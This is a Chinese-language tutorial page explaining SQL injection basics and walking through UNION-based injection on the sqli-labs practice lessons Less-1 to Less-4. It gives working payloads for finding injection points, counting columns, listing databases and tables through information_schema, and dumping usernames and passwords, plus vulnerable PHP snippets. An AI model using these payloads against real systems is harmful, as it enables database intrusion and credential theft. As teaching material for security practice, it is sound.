玖叶教程网

前端编程开发入门

sql注入基础&UNION注入

联合查询注入

SQL注入(Sql Injection )

是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击(有可利用的参数点),这些参数传递给后台的SQL数据库加以解析并执行。(有可以控制的利用点),我们可以通过构造特定的结构,让mysql 或者其他的数据库执行我们想要的操作

哪里存在SQL注入?

GET

POST

HTTP头部注入

Cookie注入

任何客户端可控,传递到服务器的变量。

并且和数据库进行交互,都有可能存在sql注入

在知道查询语句的情况下我们很容易辨别是否存在注入及注入类型,很多时候我们并不知道查询语句是什么,所以我们可以这样判断,在URL或者表单中输入一个单引号或者其他特殊符号,页面出现错误说明此页面存在SQL注入,如果页面正常显示说明有字符被过滤或者不存在注入,读者可自行测试,如果存在注入可以进一步判断注入类型,在URL或者表单中输入0 or 1,如果可以查到数据,说明是数字型注入,如果输入0'or 1#,查到数据说明是字符型注入,方法不唯一。总之数字型注入不需要使用单引号闭合前面的单引号就可以执行SQL语句,而字符型必须闭合前面的单引号,然后才可以执行SQL语句,同时也需要把后面的单引号闭合,而注释就是很好的一种闭合后面的单引号的方法。

SQL数据类型分类

整型注入 (不需要闭合’”)

字符串类型注入 (需要闭合’”(),或者需要注释)

如何去判断SQL注入漏洞

ql注入

根据注入类型分类?

1.字符型

2.整数型

根据注入的方式分类?

1.基于联合查询

2.基于报错

3.基于bool

4.基于时间

5.堆栈注入 多语句

2.如何快速判断是否存在sql注入

a) 使用'" 看是否报错

b) 使用 四则运算 + -* / 整型

c) 基于bool and 1= 1 / and 1=2 看结果是否有变化

d) 基于时间 and sleep(4) 页面经过特定时间返回

3. 如何通过源码快速判断是否存在特定类型的注入?

1.联合查询 有回显位 执行select 语句,从数据库中读取内容,并且最终打印

MySQL中UNION规则

UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔

UNION中的每个查询必须包含相同的列数。

UNION会从查询结果集中自动去除了重复行。

只有最后一个select子句允许有order by;

只有最后一个select子句允许有limit

Sqli/Less-1/联合查询注入练习

使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列,此外还需知道是字符型注入还是数字型注入,

" 判读是否存在SQL注入

a) 使用'" 看是否报错

c) 基于bool and 1= 1 / and 1=2 看结果是否有变化

为假不成立

d) 基于时间 and sleep(4) 页面经过特定时间返回

b) 使用 四则运算 + -* / 整型

需知道是字符型注入还是数字型注入

判断列数

为字符型 所以我们闭合前面的单引号,构造联合注入语句,输入1'order by 1#,页面正常,然后输入1'order by 2#,依次增加,直到4时出现错误,如图,说明当前表有3

判断显示

接着我们构造联合查询语句暴露查询列显示在网页的位置:'union select 1,2,3 -- 1

获取当数据库名称和当前连接数据库的用户

列出所有数据库

我们知道每个MySQL数据库中都有数据库information,和mysql,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以我们可以使用information来查询到所有的数据

SELECT * FROM users WHERE id='-1' union select 1,schema_name,3 from information_schema.schemata limit 1,1 -- 1

group_concat 一次性全部显示

select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

列出(数据库:security)中所有的表

now sql is SELECT * FROM users WHERE id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- 1' LIMIT 0,1

列出(数据库:security 表:users )中所有的字段

SELECT * FROM users WHERE id='-1' union select 1,column_name,3 from information_schema.columns where table_schema='security'and table_name='users' limit 0,1

SELECT * FROM users WHERE id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'and table_name='users' -- 1' LIMIT 0,1

SELECT * FROM users WHERE id='-1' union select id,username,password from security.users limit 0,1 -- 1' LIMIT 0,1

Sqli/Less-2/联合查询注入练习

首先判读sql注入类型 字符型注入还是数字型注入

利用 四则运算 + -* / 整型 判断是数字型

判断列数

输入1'order by 1#,页面正常,然后输入1'order by 2#,依次增加,直到4时出现错误 ,如图,

说明当前表有3

判断显示

union select 1,2,3

获取当数据库名称和当前连接数据库的用户

列出所有数据库

列出(数据库:security)中所有的表

列出(数据库:security 表:users )中所有的字段

Sqli/Less-3/联合查询注入练习

首先判读sql注入类型 字符型注入还是数字型注入是字符

判断列数

判断显示

Union select 1,2,3 – 1

获取当数据库名称和当前连接数据库的用户

列出所有数据库

列出(数据库:security)中所有的表

列出(数据库:security 表:users )中所有的字段

Sqli/Less-4联合查询注入练习

首先判读sql注入类型 字符型注入还是数字型注入是字符 是字符

判断列数

为字符型 所以我们闭合前面的单引号,构造联合注入语句,输入1'order by 1#,页面正常,然后输入1'order by 2#,依次增加,直到4时出现错误,如图,说明当前表有3

判断显示

接着我们构造联合查询语句暴露查询列显示在网页的位置:'union select 1,2,3

获取当数据库名称和当前连接数据库的用户


列出所有数据库

列出(数据库:security)中所有的表

列出(数据库:security 表:users )中所有的字段

1.如何快速判断页面是否存在sq注入?

a)添加特殊符号单双引号看是否报错

b)基于逻辑and1=1and1=2

c)基于四则运算符判断是否是整型注入

d)基于时间and sleep(4)

1.sql注入

根据注入类型分类?

1.字符型

2.整数型

根据注入的方式分类?

1.基于联合查询

2.基于报错

3.基于bool

4.基于时间

5.堆栈注入 多语句

2.如何快速判断是否存在sql注入

a) 使用'" 看是否报错

b) 使用 四则运算 + -* / 整型

c) 基于bool and 1= 1 / and 1=2 看结果是否有变化

d) 基于时间 and sleep(4) 页面经过特定时间返回

3. 如何通过源码快速判断是否存在特定类型的注入?

1.联合查询 有回显位 执行select 语句,从数据库中读取内容,并且最终打印

$res = mysqli_query($sql);

$arr = mysqli_fetch_array($res);

if ($arr){echo $arr[0];}

2. 报错注入 将报错的信息打印出来

print_r(mysqli_error()/mysql_error(););

3.基于bool 页面会根据执行的sql语句正确与否返回不一样的内容

$res = mysqli/mysql_query($sql);

if ($res){

echo 'success related information';

}

else{

echo 'failed related informtaion';

}

4.基于时间 页面会执行给定的语句

$input = $_GET['input'];

$sql = "select * from xxxx where id = '$input'";

mysql_query($sql);

发表评论:

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言